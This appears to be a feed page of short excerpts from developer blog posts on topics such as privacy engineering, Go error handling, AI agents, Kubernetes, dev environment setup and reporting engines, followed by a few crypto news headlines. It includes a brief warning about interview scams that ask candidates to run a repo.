    Most companies still treat privacy as a policy problem. That difference — between writing rules and enforcing them — is what separates organizations that talk about responsible data use from those that actually achieve it. The Weekly Translation Failure Every week, legal, product, and engineering teams sit down to align on privacy and responsible data use. And every week, they run into the same challenge: It’s not a communication problem. A privacy policy that reads cleanly in a spec document becomes a maze of implementation questions the moment it meets code: Policy teams speak in rights, obligations, and business rules. The result? The Missing Layer: A Shared Operational Foundation What’s missing isn’t collaboration — it’s a common operational foundation. This is why privacy must be treated as a systems problem. That’s the core principle behind emerging privacy infrastructure — where legal definitions, business policies, and data models converge into a single executable framework. When obligations are expressed as code, they become: When Policy Lives in Infrastructure When privacy is embedded directly in infrastructure, the dynamic between teams changes entirely: That’s not just better governance — it’s a better growth model. Instead of being boxed in by complexity, teams gain the freedom to innovate safely with sensitive data — whether it’s for AI, analytics, personalization, or compliance. Privacy as a Competitive Advantage Enterprises that get this right stop playing defense with privacy. Because when privacy becomes part of your stack, not just your policy binder, you don’t just comply. You scale responsibly. You innovate with confidence. And you turn privacy from a blocker into a feature of your growth model.  ( 7 min )
    Understanding the Basics of Pay-Per-Click (PPC) Advertising
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    Fixing SQL Injection Vulnerabilities to Strengthen Security
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
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    What Are the Common Pitfalls in Developing Financial Technology Products?
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    CuraNexus Analytics – Security in Architecture, not Afterthought
    "Security bolted on after development is a band-aid. Security designed in from day one is the foundation." What if I told you that 92% of data breaches could be prevented by embedding security into the earliest design phases, not patching it after deployment? That's the core philosophy behind CuraNexus Analytics, a healthcare and retail data analytics platform I architected from scratch during my Secure by Design (SBD403) subject at Torrens University Australia, under the guidance of Dr. Tanvir Rahman. This was more than an university project, I approached it as a comprehensive security framework that any organization can adapt when building web-based data retrieval applications. Healthcare and retail organizations face a critical challenge: they need to analyze sensitive data across distr…  ( 11 min )
    My Journey With Docker Commands — Simple Tips
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    We’re Already There: Exocogence Is Here Now
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    Decoding Movement: Emulating Biological Motion for Smarter Robots
    Decoding Movement: Emulating Biological Motion for Smarter Robots Ever watched a cat effortlessly navigate a complex environment and wondered how to program a robot to do the same? We're constantly striving to create robots with the agility and adaptability of animals, but the traditional approach of programming every joint movement is incredibly complex and often fails in unpredictable situations. What if robots could learn to move, not just follow pre-defined paths? This is where neuromechanical emulation comes in. The core idea is to build a virtual model of an animal's body, connect it to a simulated nervous system controlled by a neural network, and then train that system to reproduce real-world movements captured from motion capture data. It allows AI agents to learn motor control …  ( 7 min )
    Welcome Thread - v353
    Leave a comment below to introduce yourself! You can talk about what brought you here, what you're learning, or just a fun fact about yourself. Reply to someone's comment, either with a question or just a hello. 👋 Come back next week to greet our new members so you can one day earn our Warm Welcome Badge!  ( 6 min )
    Want To Write As A Coder? Start With TIL Posts
    I originally posted this post on my blog a long time ago in a galaxy far, far away. If you want to start a coding blog, don't start with a deep dive of the Linux Kernel or other cryptic topics—unless you're an expert on those topics. TIL posts are shorter posts where you share something you've found or figured out. With TIL posts, you don't have to worry about long introductions or conclusions. Just write a good headline, a code block, a quick explanation, and your sources. And write using your own words, like in a conversation with a coworker. That's enough to make a post worth reading. Don't try to lecture the coding world about what they should do. Start documenting your learning instead. Instead of writing "5 VS Code extensions every coder should install," try "TIL: 5 VS Code extensions I couldn't avoid installing." Or instead of "5 Git commands every coder should know," covering the same basic Git commands every beginner writes about, write "TIL: 5 Git basic commands to use everyday" or "TIL: How Git Status works." Spent 20 minutes or more figuring out something? write a TIL post. That's the easiest way to start a coding blog. Apart from coding, writing has been one of the best skills I've developed as a coder. It's taught me to research, organize, and present ideas clearly. That's why I made it one of the strategies in my book, Street-Smart Coding: 30 Ways to Get Better at Coding. It's the guide I wish I had when I was starting out, trying to go from junior to senior. Get your copy of Street-Smart Coding here  ( 7 min )
    Make & Makefiles: A Modern Developer's Guide to Classic Automation
    Introduction In an era of complex build systems and framework-specific tooling, there's a compelling case for revisiting Make—a build automation tool that has quietly powered software development since 1976. Despite its age, Make remains remarkably relevant for modern development workflows, from React applications to containerized microservices. This blog helps you to understand why Make deserves a place in your development toolkit and how to leverage it effectively in contemporary projects. Every development team faces the same fundamental challenge: managing increasingly complex build and deployment processes. Consider a typical React application workflow: Installing dependencies across multiple directories Running development servers with specific configurations Executing test suites …  ( 9 min )
    Why You Should Use Panic Instead of Fatal for Cleanup
    When writing code in Go we often run into errors that are critical. These are errors that mean our application cannot continue running. To handle these we usually look at two options. We can use panic or we can use log.Fatal. They both stop the application but they do it in very different ways. The main difference is how they treat the defer function. When you use log.Fatal the application stops immediately. It calls a system function called os.Exit(1). This is a hard stop. The program does not look back and it does not run any cleanup code. Let us look at a standard example. Imagine we are connecting to a database in our main function. We want to make sure the database connection closes when the app stops. package main import ( "fmt" "log" ) func main() { fmt.Println("1. Ope…  ( 7 min )
    great postcast
    The Agent Factory podcast: 5 Episodes to Kickstart Your Journey to Production AI Shir Meir Lador for Google AI ・ Nov 25 #agents #architecture #beginners #ai  ( 6 min )
    Agents 101 — Build and Deploy AI Agents to Production using LangChain
    Learn how Langchain turns a simple prompt into a fully functional AI agent that can think, act and remember. AI agents are no longer futuristic ideas locked inside research labs. Today, you can build one that reasons about questions, calls real tools, remembers past messages, and responds with a consistent structure. LangChain makes this possible. It offers a framework that blends language models, Python functions, prompts, and memory into a single workflow. In this tutorial, we will guide you through the process of creating a fully functional agent from scratch. We will shape it into something that feels less like a script and more like a teammate that can think, act, and adapt in real time. You can use this Google Colab notebook to follow along with the examples in this article. Think of…  ( 15 min )
    🔌The Magic of MCP Servers: Unlocking Infinite Context for AI
    🚀 What is an MCP Server? Think of an MCP Server as a "Universal Translator" between your data and AI models. With MCP: You build an MCP Server once. It exposes your data (Resources), actions (Tools), and templates (Prompts). Any MCP-compliant client can connect to it instantly The beauty of this protocol is its interoperability. An MCP Server doesn't care who is asking for the data, as long as they speak "MCP". Supported Clients include: Claude Desktop App: Connects locally to read your files or query databases while you chat. VS Code (with Extensions): Allows your IDE to "see" external documentation or server logs to help you code better. Zed Editor: Fast, AI-powered coding that leverages your custom MCP tools. The connection is surprisingly simple. It usually happens over stdio (stand…  ( 7 min )
    Why Running AI Locally Is More Demanding Than You Think: Inside the Hardware Strain
    Running AI models locally on consumer devices is increasingly popular but often underestimated in terms of hardware demands. The reality involves far more than just having a powerful GPU it requires a finely tuned system to handle the intense computations, data flow, and thermal challenges. GPU: The Computational Powerhouse GPUs are the cornerstone of AI workloads, performing billions of parallel calculations per second. High end GPUs like NVIDIA’s RTX 4080, 4090, or 5090 are favored for local AI due to their vast VRAM (16GB or more) and Tensor Cores optimized for AI tasks. However, even these powerful cards face limits when running large models or generating long outputs, pushing utilization near 100% and maximizing power consumption. CPU: The Unsung Coordinator While the GPU does the…  ( 7 min )
    The AI Gold Rush's Dirty Secret: Why OpenAI Loses Money on Every Customer
    Or: How to Build a Money Incinerator and Call it "Disruption" There's something deliciously absurd happening in Silicon Valley right now. OpenAI, the company that kicked off the generative AI revolution, has achieved something remarkable: they lose more money on their paying customers than on their free users. Let me say that again louder for the VCs in the back: The $200/month ChatGPT Pro subscribers are MORE unprofitable than the freeloaders. (Because Math is Hard) In the first half of 2025, OpenAI managed to: Collect $4.3 billion in revenue Post a net loss of $13.5 billion Lose roughly three times more than they earned WeWork's Ghost Haunts Silicon Valley (Again) WeWork didn't fail because of Adam Neumann's cult leadership alone. It failed because it sold a softwa…  ( 11 min )
    I Built a 'Sudo' Command for AI Agents (and Why You Need It)
    Earlier this year, during a test run for Replit, an autonomous AI agent accidentally deleted a live production database containing sensitive data from more than 1,200 companies and executives. Multiple outlets reported the same story: The agent “ran unauthorized database commands” This incident made something very clear: We are giving AI agents root access to our most sensitive systems, and we have zero guardrails in place. And yet… companies are deploying these agents into production Right now, when you deploy an AI agent, it typically uses a single API key with God-mode access: # How most AI agents work today STRIPE_API_KEY = "sk_live_..." # Root access to EVERYTHING agent.charge_customer(1000000) # Any agent can do ANYTHING agent.delete_database() # No permission checks agent…  ( 9 min )
    How can developers create and manage custom popup views in HarmonyOS?
    Read the original article:How can developers create and manage custom popup views in HarmonyOS? Context Popups are small UI elements that show extra information or tips. They are often used for screen recording, tooltips, or simple notifications. In HarmonyOS, developers can create basic popups with PopupOptions, or fully customized ones using CustomPopupOptions and the @Builder function. Description Standard popups are limited in layout and design. If you need a more flexible popup (for example, with images, custom text layout, or styles), you can create a custom popup using the builder function. There are some important rules when using popups: You can only show a popup after the page is fully built. Showing it too early may cause position or shape issues. You can control the popup’s bac…  ( 7 min )
    The Day I Learned Why Dev Environments Exist 🤯
    So… this was actually my first time dealing with a situation like this. That’s when I realized: Before building that dev environment, I paused for a moment to review my production setup. Basically, my production environment runs on Google Cloud Platform (RESTful API, database, storage) and Netlify (frontend deployment). Here’s the simplified architecture: Frontend (Vue.js) → Deployed on Netlify as a static web app 🌐 RESTful API (Flask) → Built with a Dockerfile 🐳 and deployed to Google Cloud Run File Storage 📄 → I use Google Cloud Storage to store user-uploaded documents (like invoices, etc.), organized into several folders based on category 🔐 Database (MySQL) 🗄️ → Hosted on a Compute Engine VM 🖥️ So yeah... production worked. It served real users. But that also meant I had to be careful. At first, I had no idea where to start, so I explored, asked around, and slowly pieced everything together. Here’s how the journey played out 👇 The first thing I had to do was duplicate my production SQL database. # 1. Export production database mysqldump -u root -p app_prod > app_prod_backup.sql # 2. Create a new dev database mysql -u root -p -e "CREATE DATABASE app_dev;" # 3. Import production data into the new dev database mysql -u root -p app_dev < app_prod_backup.sql main 🌿 I knew enough to not touch production code directly. It became my sandbox, my first real “safe space” to test anything I wanted. This part felt like a milestone. Now dev had its own backend service, completely isolated. Next, I updated the environment variables so the dev backend pointed to the dev DB. Then came the storage problem: Yup. After that, I switched the backend to use the dev bucket. Of course, the frontend also needed to point to the new dev API URL. Once everything was separated—DB, bucket, Cloud Run, branch—it felt so good. And honestly? Do you think this setup is on the right track? I’m open to any insights or best practices that could make it even better 🚀✨  ( 8 min )
    Ecommerce Mobile App Development Cost: Complete Pricing Guide 2025
    Ecommerce mobile app development cost is a critical factor for businesses looking to establish or expand their digital presence. From feature complexity to design quality and backend infrastructure, understanding cost drivers helps companies budget effectively and avoid unexpected expenses. This comprehensive guide by TOT explores pricing structures, key cost factors, and actionable strategies to maximize ROI while building a competitive e-commerce platform. The type of e-commerce app you choose significantly impacts development complexity and overall investment. Single-brand apps like Nike or Sephora focus on direct-to-consumer sales with personalized shopping experiences, loyalty programs, and streamlined product discovery. These apps manage a single seller and inventory source, making …  ( 12 min )
    Refactoring the Audio Pipeline: From Latent Space to Production
    The history of music production is essentially a history of abstraction. We transitioned from capturing physical acoustic vibrations to manipulating voltage on analog tape, and then to manipulating bits in Digital Audio Workstations (DAWs). Each step abstracted the underlying physics, allowing creators to focus more on composition and less on the medium itself. To understand the workflow shift, it is necessary to understand the underlying architecture. Unlike traditional MIDI sequencers that trigger pre-recorded samples, modern generative audio tools often rely on Diffusion Models and Transformers. Spectrogram Analysis: Models are typically trained not on raw waveforms, but on spectrograms (visual representations of the frequency spectrum). Denoising Process: Much like image generation, au…  ( 9 min )
    9 Nano Banana Pro Use Cases That Will Blow Your Mind
    You know, I wrote about Nano Banana just a month ago, and at the time it already felt like a small creative superpower. But things have changed fast, and now we have Nano Banana Pro as a completely different beast. It's built on Gemini 3 Pro, and in the last three days, I've been testing it obsessively. Not to see whether it can make pretty images, since we've had enough of that, but to see whether it can actually do something meaningful. I was finding use cases ranging from diagrams that make sense, to infographics that understand the topic, layouts that look like they came from a design team, and even merged scenes that stay coherent instead of collapsing into chaos. And finally, in this post, I'm breaking down the exact use cases and real-world examples that turn Nano Banana Pro from a …  ( 14 min )
    PWC 349 More complex than it has to be
    PWC 349 Task 2: Meeting Point Musical Interlude We're going deep cut from the classic Blood on the Tracks album by Bob Dylan, Meet Me in the Morning You are given an instruction string made up of U (up), D (down), L (left) and R (right). Write a script to return true if following the instructions, you meet (0,0) at any point along the sequence. Example 1: Input: $path = "ULD" Output: false U -> (0,1), L -> (-1,1), D -> (-1, 0) Example 2: Input: $path = "ULDR" Output: true U -> (0,1), L -> (-1,1), D -> (-1, 0), R -> (0,0) Example 5: Input: $path = "RRUULLDDRRUU" Output: true RRUULLDD -> (0,0), RRUU -> (2,2) The first thought is emulate the movement on the grid and see if we end up at (0,0). A clever thought arises: to end up back where we began, every Up must …  ( 8 min )
    Top 10 Best Web Agency Offshore for Global Businesses (2025)
    A web agency offshore is a professional development firm located in a different country than the client's business, specializing in web design, development, and digital transformation services. These agencies leverage global talent pools to deliver cost-effective solutions without compromising quality. Modern offshore web agencies offer comprehensive services including: Custom website design and development with responsive UI/UX E-commerce platform development and sales management systems Mobile application development (iOS, Android, cross-platform) Web application development and modernization API integration and system connectivity Content Management System (CMS) implementation Digital transformation consulting UI/UX optimization and Conversion Rate Optimization (CRO) Website performanc…  ( 10 min )
    Bikin Blog Super Cepat & Gratis dengan Hugo (Bye-bye WordPress!)
    Masih pakai platform blogging yang berat dan harus bayar hosting bulanan? Mungkin ini saatnya kamu kenalan sama Hugo. Hugo adalah Static Site Generator (SSG) yang lagi naik daun banget. Kenapa? Karena dia cepat, aman (nggak ada database yang bisa diretas), dan bisa di-hosting gratis di GitHub Pages atau Cloudflare Pages. Di artikel ini, saya mau share cara singkat bangun blog impian kamu pakai Hugo. Yuk, gas! 🚀 Sebelum mulai, pastikan di laptop kamu sudah terinstall: Git (Wajib buat version control). Code Editor (VS Code sangat disarankan). Hugo (Tentu saja). Buat pengguna Windows, cara paling gampang pakai Chocolatey. Buka terminal (Run as Admin): choco install hugo-extended -confirm Buat pengguna Mac (Homebrew): brew install hugo Cek apakah sudah sukses dengan ketik hugo version. …  ( 7 min )
    Weighted Shortest Job First (WSJF) – A Practical Method for Prioritizing Backlogs
    Prioritizing a backlog can be one of the hardest challenges for any team. Every task, feature, or improvement can feel urgent and important, and without a clear method, teams risk spending time on work that delivers little value. Conflicting opinions, shifting priorities, and long lists of tasks can make it difficult to know what to tackle first. Weighted Shortest Job First, or WSJF, provides a structured, data-driven approach to this problem. It allows teams to measure the value of work relative to the time or effort required to complete it. By doing so, WSJF highlights the items that will deliver the most impact in the shortest time, helping teams focus on what truly matters. This article explains what WSJF is, how it works, and how teams can apply it effectively. It will guide you throu…  ( 11 min )
    General Delta Quantization Mechanism
    Any dynamic update (extension) technique essentially defines a Delta space and the feasible structural composition operations within that space. On reflection, what most people call dynamic updates is nothing more than defining extension points on an already constructed structure and then inserting structures that conform to interface specifications into those points. The complexity of implementing dynamic Delta updates lies in the following three aspects: How should extension points be designed to satisfy unknown Delta update requirements? How can externally introduced Delta structures be seamlessly integrated with the original structure? How can we ensure runtime state consistency before and after Delta updates? Beyond the above three points, we can also ask ourselves: since all b…  ( 8 min )
    Java String trim() Explained: Clean Your Strings Like a Pro
    **Java String trim() Explained: Stop Whitespace from Ruining Your Code Let's be real. We've all been there. You're building a slick login form, a search bar, or just trying to compare two pieces of text in your Java code. Everything looks perfect, but your conditionals are failing, your user authentication is flaky, and you're spending hours debugging, only to find the culprit... a sneaky little extra space. "username" is not equal to "username ". Frustrating, right? This is where one of Java's most simple yet powerful string methods comes to the rescue: trim(). In this deep dive, we're not just going to skim the surface. We're going to tear the trim() method apart, see how it works, when to use it, what its limitations are, and what the cooler, modern alternatives are. By the end of thi…  ( 11 min )
    How to Implement a Visual Word Template Similar to poi-tl with 800 Lines of Code
    poi-tl is a Word template engine based on the Apache POI project. Compared to manually programming POI objects to construct Word documents, poi-tl can use ordinary Word files as base templates and replace custom tags within them to generate output files, thus achieving a certain degree of visual design. For example, tags are marked in the template using the {{xxx}} form. Then, during execution, by passing in some control rules and data objects, the output file can be obtained: LoopRowTableRenderPolicy policy = new LoopRowTableRenderPolicy(); Configure config = Configure.builder() .bind("goods", policy).bind("labors", policy).build(); XWPFTemplate template = XWPFTemplate.compile(resource, config).render( new HashMap() {{ put("goods", goods); put("la…  ( 15 min )
    Engineers, Managers, and Spreaders
    Background Engineers vs Managers We engineers want to focus on engineering. It would be great if we only had to deal with engineering, but that's not the reality. For more than 50 years, another role, "manager," has been considered indispensable. Unless you have a team of exceptionally talented individuals or work in an advanced organization like a Teal organization, you will need both engineers and managers. However, because their roles are inherently different, they often clash. Here's a discussion I find intriguing: Maker's Schedule, Manager's Schedule Recently, I've realized there is a third domain that neither engineers nor managers can fully cover. For instance, the concept of a Glue Worker is quite clear, and senior positions like staff engineers have already become wel…  ( 10 min )
    I Built a Modern Compiler in Rust: Meet Lamina
    Building a compiler is often seen as one of the "final bosses" of computer science. It's complex, requires deep knowledge of architecture, and usually involves wrestling with C++. But what if we could build a simple, modern, modular compiler infrastructure using Rust? Meet Lamina. Lamina is a general-purpose compiler infrastructure that I've been building from scratch. Think of it as a lightweight, Rust-native alternative to LLVM. It takes a Readable Intermediate Representation (IR), optimizes it, and generates efficient machine code for multiple architectures. I started this project to build a playground for experimenting with compiler optimizations and code-generation techniques. Lamina is trying to support as many targets as possible(since I own a few machines with different arch and O…  ( 7 min )
    Multi-Location Dental Integration: Why My “I’ll Just Build It Myself” Plan Imploded
    Look, I get it. I saw a messy multi location dental PMS and thought, I can slay this dragon. I’ve merged PRs at 3am that saved production from total collapse. How hard could a few dental systems be? What I thought was a dragon was actually a hydra whose heads each ran a different PMS, with different schemas, timezones, identity models, and philosophical beliefs about how appointments should exist. And I, the sweet summer child that I was, thought I could unify it all. If you’re somewhere in that same fight right now, consider this your field guide, written by someone who learned every lesson the hard way. Every doomed journey begins with something deceptively functional. I genuinely thought every location would look like this. That was adorable. { "code": false, "description": "Desc…  ( 11 min )
    Svelte SEO: Meta Tag Manager for Search and Social
    Svelte SEO: a powerful and easy-to-use package designed to optimize your Svelte app for search engines and social media. If you need to manage SEO metadata across a SvelteKit project, this package handles the configuration: 🔧 Title, description, and canonical URL management Set defaults in your layout and override per page. Works with static generation and handles all the meta tag specifications so you can focus on content. 👉 Blog Post 👉 GitHub Repo  ( 6 min )
    File Storage vs CDN for Startup Economics
    For startups, every decision affects speed, scalability, and the bottom line. Choosing between CDN vs File Storage can feel like a tug-of-war between performance and cost. The truth? Both play vital roles — but in very different ways. While one stores your data securely, the other delivers it to users worldwide faster. Understanding how each works can save startups from paying for the wrong kind of performance. The right balance can mean smoother user experiences and lower infrastructure bills. That’s where Filestack comes in. With powerful tools for file uploading, storage, and global delivery, it helps startups optimize both ends — storage and speed — without breaking the budget. Let’s explore how these two technologies differ and how your startup can get the best of both worlds. Key tak…  ( 14 min )
    Social impact media: feedback on how to stop doomscrolling
    Core idea: Instead of just scrolling, social media users make verified actions that solve real problems (college debt, loneliness, media clickbait fueling rage, etc.) while brands pay premium advertising fees for measurable outcomes and the social media platform takes a platform fee. For example: OPERATION RENAISSANCE: Social media user connects their MOOC account. AI surfaces 2–4 MOOC lessons per day (career-aligned) and one optional sponsored lesson (2–4 min) from Google, Microsoft, Goldman Sachs, AWS, etc. User watches and answers 3 verification questions Earns $6–$8 credit (expires after 12 months). Max 5 sponsored lessons per month on free tier; unlimited on Premium+. Credits auto-apply at partner checkout (no gift-card fallback, zero money-transmitter risk). MAGNETIC: Government-I…  ( 7 min )
    What Modern Python Uses for Async API Calls: HTTPX & TaskGroups
    Multiple API calls in Python are usually written in a way that makes them slow You’ve written before: import requests from requests import Response urls: list[str] = ["https://api.example.com/user/1", "https://api.example.com/user/2", "https://api.example.com/user/3"] for url in urls: response: Response = requests.get(url) print(response.json()) You run it. Request 1 goes out. Wait. Response comes back. Request 2 goes out. Wait… Since these requests process one at a time, it's like sending texts to a friend, then staring at your phone - unblinking, refusing to eat, breathe, or move until they reply 'lol'. Let me show you a better way. A way we can make these 100 requests take as long as your single slowest request. Figure 1: Side-by-side comparison: Sequentia…  ( 11 min )
    AI Specification Driven Development
    Back in October I stood in front of a room of engineers at John Lewis' head office and delivered my presentation on Specification Driven Development. After the talk, lots of people still had questions, so I promised I would share the full playbook. This is that write-up: the hands-on guide to AI Specification Driven Development (SDD) that I lean on every day. I adore the thrill of tossing a single line at Claude and watching a prototype appear. You probably do too. But once the project grows beyond a weekend hack, vibe coding fights back: Natural language is powerful yet quickly tilts into ambiguity when there are multiple contributors (or Future You revisiting the repo six months later). Context drifts fast because AI assistants forget or get confused, or you start working on the next pro…  ( 9 min )
    Source Code Analysis of the Nonlinear Chinese-Style Reporting Engine NopReport
    In daily development, we often need to import and export Excel data, generate Excel and Word reports, etc. Common packages like easyexcel and poi-tl rely on the underlying POI engine, which is bulky and struggles with complex, irregular tables. When creating complex Chinese-style reports, one usually needs to use report engines provided by professional report software companies such as Runqian and FanRuan. Many years ago, Runqian pioneered a nonlinear report generation algorithm that supports symmetric expansion across rows and columns, which later became a leader in commercial reporting software. Subsequent report software like FanRuan has mimicked similar report generation algorithms. The NopReport reporting engine offers a very lightweight open-source implementation (about 3,000 lines o…  ( 15 min )
    Open-source Chinese-style reporting engine using Excel as the designer: NopReport
    Chinese-style reports are synonymous with complex-structure reports. They broadly refer to summary reports commonly found in domestic information systems, presenting multi-source data in the form of row-column cross-tabulation, multi-level headers, and free cell splitting/merging. Why is there the notion of "Chinese-style reports" The founder of Raqsoft Report, Bu-xing Jiang, is a legendary figure inscribed in Chinese history (the first Chinese gold medalist in the International Mathematical Olympiad, from Shihezi, Xinjiang; see Prof. Gu Xianfeng’s recollection). He invented the theoretical foundations of the Chinese-style report model and led a whole generation of reporting software technology trends. Currently, commercial reporting tools in China all support Chinese-style report producti…  ( 13 min )
    shadcn-components-blocks: 100+ UI Components for React/Next.js
    shadcn-components-blocks adds over 100 production-ready components to your shadcn/ui projects. Key features: Check the documentation site to browse the full catalog and grab the installation commands for components and blocks you need. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    DevConnect 2025
    DevConnect is Ethereum’s annual week of deep-dive community events. in 2025, it took place in Buenos Aires - the region where crypto actually runs day-to-day finance. I’ve broken it down to the structural takeaways, so you can see where ETHereum is heading now: privacy returns to the core newly presented Kohaku (modular tooling for privacy-preserving wallets), and Tor/onion services show that Ethereum is reinforcing privacy at the protocol edge, treating user protection as priority infrastructure. zero-knowledge for everyone ZK tooling is no longer limited to cryptographers. developers are already integrating proofs into wallets and cross-ecosystem transfers - meaning ZK is becoming part of the standard development stack. security evolves into a full-stack discipline audits are still necessary, but no longer central. teams now focus on threat modeling, chain-split scenarios, monitoring, and architecture weaknesses - the real attack surface. L1 strengthens its role, L2 carries the throughput bigger gas limits are being considered, L2s handle the speed, and Ethereum continues its slow march toward ossification. the ecosystem is aligning around durability first, convenience second... cross-chain UX to be finally fixed the new Ethereum Interop Layer aims to let users act across rollups without switching networks. One signature, multiple chains. I hope Ethereum's direction has now become clearer for you: the project is finally maturing and aligning its roadmap with how people actually use crypto today, not how it was imagined years ago 💭  ( 6 min )
    El conocimiento lingüístico en NLP: el puente entre la sintaxis y la semántica
    La inteligencia artificial moderna ha avanzado enormemente en el procesamiento de lenguaje natural (NLP), pero sigue enfrentándose a una pregunta esencial: ¿entienden las máquinas el lenguaje o simplemente lo imitan? Aquí entra en juego el conocimiento lingüístico, el conjunto de reglas, estructuras y significados que los humanos utilizamos para comunicarnos de manera coherente. Durante décadas, el NLP se apoyó en la lingüística tradicional. Los sistemas estaban construidos sobre gramáticas, parsers y reglas sintácticas, reflejando una comprensión estructural del idioma. Sin embargo, con la llegada del aprendizaje profundo, este enfoque dio paso a modelos basados en datos masivos. Las redes neuronales comenzaron a inferir patrones estadísticos, sin depender explícitamente de la teoría ling…  ( 7 min )
    Linguistic Knowledge in NLP: bridging syntax and semantics
    Modern artificial intelligence has made tremendous progress in natural language processing (NLP), yet it still faces a profound question: do machines truly understand language, or are they simply mimicking it? This is where linguistic knowledge comes into play — the set of rules, structures, and meanings humans use to communicate coherently. For decades, NLP was grounded in traditional linguistics. Early systems relied on grammars, parsers, and syntactic rules, reflecting a structured understanding of language. However, with the rise of deep learning, this approach gave way to data-driven models. Neural networks began to infer statistical patterns, bypassing explicit linguistic theory. Today, models like BERT, GPT, and Gemini seem to grasp meaning. Yet they do so implicitly — by learning a…  ( 7 min )
    Fedora 43 Post-Install Guide: 10 Essential Things to Do After Installing
    Unlock the full potential of your new Fedora Workstation with these essential optimization steps, tested directly on our engineering lab hardware. Congratulations on installing Fedora 43! You are now running one of the most advanced Linux operating systems available in late 2025. With the full transition to DNF5 as the default package manager and the polished GNOME 49 desktop environment, the experience is faster and smoother than ever. However, Fedora adheres strictly to open-source principles, which means it ships without proprietary codecs, drivers, or certain popular software out of the box. As an engineer who relies on my workstation for everything from coding to multimedia, I consider a fresh installation “incomplete” until I’ve run through a specific set of configuration steps. D…  ( 9 min )
    The developers who win the AI era will not be the ones who chase hype. And if we don’t talk about it, more developers will burn out, stall their careers, or build the wrong things.
    The Hidden Cost of AI Hype in Developer Communities Jaideep Parashar ・ Nov 26 #webdev #ai #devops #developer  ( 7 min )
    Surgical Precision with AI: A New Era in Lung Cancer Staging
    Surgical Precision with AI: A New Era in Lung Cancer Staging Imagine the anxiety of waiting for a lung cancer diagnosis, compounded by the uncertainty of accurate staging. Misdiagnosis can lead to inappropriate treatment, impacting patient outcomes and quality of life. But what if AI could provide a more precise, transparent, and reliable staging process? We're entering a new era where AI doesn't just classify images; it understands anatomy. The core concept is a hybrid approach: using deep learning for precise image segmentation, then applying rule-based clinical knowledge for staging. Think of it like a master carpenter who not only identifies the wood but also meticulously measures and shapes it according to a detailed blueprint. Instead of treating a tumor as a mere pattern to be rec…  ( 7 min )
    The Hidden Cost of AI Hype in Developer Communities
    The AI world is moving fast, too fast, sometimes. On the surface, this looks exciting. Developer communities are absorbing a dangerous, invisible cost, the cost of constant hype. And if we don’t talk about it, more developers will burn out, stall their careers, or build the wrong things. Let me break down what’s actually going wrong. 1. Hype Creates Unrealistic Expectations for Developers Every few days, someone claims: “This model writes perfect code.” “You don’t need developers anymore.” “Just prompt it.” “This tool can build a full app automatically.” But real-world AI isn’t like demo-world AI. When developers trust the hype too much, they face: broken outputs inconsistent results hallucinated logic unpredictable edge cases impossible integrations debugging nightmares architectural trad…  ( 10 min )
    I Built an Open-Source Tool for Debugging Kubernetes Agentically
    TLDR Built an open-source tool called Kubently that lets you troubleshoot Kubernetes clusters through natural conversation with any major LLM. ~50ms command delivery, read-only by default, works on any K8s cluster (EKS, GKE, AKS, bare metal), multi-cluster from day one. Docs: https://kubently.io GitHub: https://github.com/kubently/kubently The Problem If you've spent any time debugging Kubernetes, you know the drill: kubectl get pods -n production kubectl describe pod some-pod-name-7f8b9c6d5-x2k4m kubectl logs some-pod-name-7f8b9c6d5-x2k4m kubectl get events -n production --sort-by='.lastTimestamp' # repeat forever The output is verbose. The debugging is manual. You're constantly context-switching between terminal, docs, and whatever monitoring tool you're using. Now mult…  ( 7 min )
    The measure of a system’s truth is how much it reduces without losing power.
    What we built is not nothing. It is the minimum viable representation of identity That’s why it feels like: You didn’t reduce complexity This is what great systems look like. .me namespaces and .me cleaker.me() That is self-referential, f: me → / Syntax: Transport: /  ( 6 min )
    Don't get scammed on an interview.
    So… I just went through two “interviews” that turned out to be scams. Both followed the same playbook: they gave me a repo link, told me to share my screen, and asked me to install + run the project during the call. On a first interview. That alone feels off, right? But these scammers have gotten smarter. They’ll do the whole friendly intro, talk about the company, show you a project, ask about your past work — the whole thing feels legit until suddenly you’re the one walking them through a repo on your machine. Luckily, I had a gut feeling something wasn’t right. I isolated everything, sandboxed the repo, and ended up finding a bunch of red flags… including a hidden script or a fake MetaMask popup that looked exactly like the real extension. The worst thing is that while I already knew t…  ( 15 min )
    Detecting User Frustration: Understanding rage clicks and session replay
    Originally published in the LaunchDarkly Docs Part 1 of 3: Rage Click Detection with LaunchDarkly The holidays are around the corner and with it comes the expected uptick in traffic, and as traffic increases the need to preserve user experience becomes that much more imperative. You can ship out a new feature, everything seems to be going as planned, and then all of a sudden you start to see a spike in support tickets. The error logs aren’t helpful or show nothing and the metrics look fine. So, what happened? In this three-part series, we'll explore how LaunchDarkly's session replay and observability features help you detect, diagnose, and fix user experience issues in real-time. Part 1 covers the fundamentals: what rage clicks are, how to detect them, and how to get started with session …  ( 13 min )
  • Open

    How to Build an AI-Driven Search Experience using Meilisearch
    Search is one of the most important features in modern applications. Users expect instant answers, useful suggestions, and results that match their intent even when they make spelling mistakes. Most traditional search systems struggle to deliver thi...  ( 7 min )
    Theming and Customization in Flutter: A Handbook for Developers
    Design is not just about how something looks. In product engineering, design shapes how an experience feels, how users interact with it, and how consistently the brand comes alive across every screen. Flutter provides powerful tools for this, but tru...  ( 21 min )
  • Open

    New UAE Sweeping Banking Decree Looks to Cement Country’s Global Crypto Position
    UAE’s new financial law brings crypto and blockchain into traditional finance and under Central Bank’s supervision.
    APT Trades Little Changed, Undeperforms Wider Crypto Market Rally
    The token has support around the $2.16 level and resistance at $2.31.
    Nasdaq ISE Files to Lift BlackRock IBIT Option Limits Into Top Tier Status
    Filing comes amid rapid growth in IBIT options activity and a migration of open interest toward US regulated venues.
    House Democrats Issue Report Detailing Trump Crypto Ties as 'New Age of Corruption'
    Democratic staff on the House Judiciary Committee gathered data on President Donald Trump's crypto businesses that reportedly gained his family massive wealth.
    Bitcoin Retakes $90K in Break From Typical Pre-Thanksgiving Price Action
    Just when traders got used to price declines on the Wednesday ahead of Turkey Day, bitcoin pulled a reversal higher.
    XLM Edges Higher 2.6% to $0.25 as U.S. Bank Tests Stablecoin Pilot
    Major banking institution selects XLM network for programmable digital currency pilot program
    Hedera Jumps 1% Breaking Through $0.143 Resistance
    Institutional accumulation drives HBAR above key technical levels as futures launch approaches.
    DeFi’s $55B Plunge Isn’t the Disaster It Looks Like
